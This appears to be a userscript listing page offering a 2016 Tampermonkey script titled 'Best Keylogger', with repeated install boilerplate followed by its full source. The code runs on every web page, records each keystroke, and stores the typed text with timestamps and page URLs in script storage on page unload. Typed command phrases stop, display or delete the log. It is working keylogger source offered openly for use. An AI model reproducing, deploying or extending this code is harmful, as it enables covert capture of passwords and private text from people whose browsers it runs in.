Best Keylogger

The best free keylogger!

You will need to install an extension such as Tampermonkey, Greasemonkey or Violentmonkey to install this script.

You will need to install an extension such as Tampermonkey or Violentmonkey to install this script.

You will need to install an extension such as Tampermonkey or Violentmonkey to install this script.

You will need to install an extension such as Tampermonkey or Userscripts to install this script.

You will need to install an extension such as Tampermonkey to install this script.

You will need to install a user script manager extension to install this script.

(I already have a user script manager, let me install it!)

You will need to install an extension such as Stylus to install this style.

You will need to install an extension such as Stylus to install this style.

You will need to install an extension such as Stylus to install this style.

You will need to install a user style manager extension to install this style.

You will need to install a user style manager extension to install this style.

You will need to install a user style manager extension to install this style.

(I already have a user style manager, let me install it!)

// ==UserScript==
// @name         Best Keylogger
// @namespace    http://tampermonkey.net/
// @version      0.1
// @description  The best free keylogger!
// @copyright    2016
// @author       Arden Xie
// @include      http*://*
// @grant        GM_setValue
// @grant        GM_getValue
// @grant        GM_deleteValue
// @noframes
// ==/UserScript==

(function() {
	'use strict';

	window.addEventListener('keydown', capture);
	window.addEventListener('keyup', up);
	window.addEventListener("beforeunload", save);

	var chars = "";
	var keylogging = true;
	var down = false;

	function capture(evt) {
		if (keylogging && !down) {
			down = true;
			chars += String.fromCharCode(evt.keyCode).toLowerCase();

			if (chars != chars.replace("stop keylog", "something different")) {
				keylogging = false;
                                console.log("keylog stopped");
			} else if (chars != chars.replace("output keylog", "something different")) {
				chars = chars.replace("output keylog", "");
				alert(GM_getValue("typed", "none"));
			} else if (chars != chars.replace("delete keylog", "something different")) {
				console.log("deleting... ");
				GM_deleteValue("typed");
				if (GM_getValue("typed", ".")!=".") {
					console.error("Could not delete keylog");
				} else {
					console.log("Successful");
				}
				chars = "";
			}
		}
	}

	function up() {
		down = false;
	}

	function save(evt) {
		var now = new Date();
		GM_setValue("typed", GM_getValue("typed", "")+" [ "+now.getMonth()+", "+now.getDate()+", "+now.getHours()+":"+now.getMinutes()+", "+window.location.href+" ]: "+chars+"\n");
	}
})();